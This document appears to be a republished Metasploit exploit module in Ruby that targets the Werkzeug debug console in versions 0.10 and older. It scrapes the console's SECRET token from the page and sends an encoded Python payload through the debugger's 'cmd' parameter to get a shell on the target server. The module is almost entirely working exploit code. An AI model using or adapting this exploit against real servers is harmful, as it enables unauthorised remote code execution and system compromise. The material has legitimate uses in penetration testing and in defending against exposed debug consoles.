Werkzeug – Debug Shell Command Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Werkzeug Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell. This debugger "must never be used on production machines" but sometimes slips passed testing. Tested against: 0.9.6 on Debian 0.9.6 on Centos 0.10 on Debian }, 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', 'References' => [ ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] ], 'License' => MSF_LICENSE, 'Platform' => ['python'], 'Targets' => [[ 'werkzeug 0.10 and older', {}]], 'Arch' => ARCH_PYTHON, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 28 2015' )) register_options( [ OptString.new('TARGETURI', [true, 'URI to the console', '/console']) ], self.class ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) ) # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 if res && res.body =~ /Werkzeug powered traceback interpreter/ return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit # first we need to get the SECRET code res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) ) if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ secret = $1 vprint_status("Secret Code: #{secret}") send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_get' => { '__debugger__' => 'yes', 'cmd' => payload.encoded, 'frm' => '0', 's' => secret } ) else print_error('Secret code not detected.') end end end |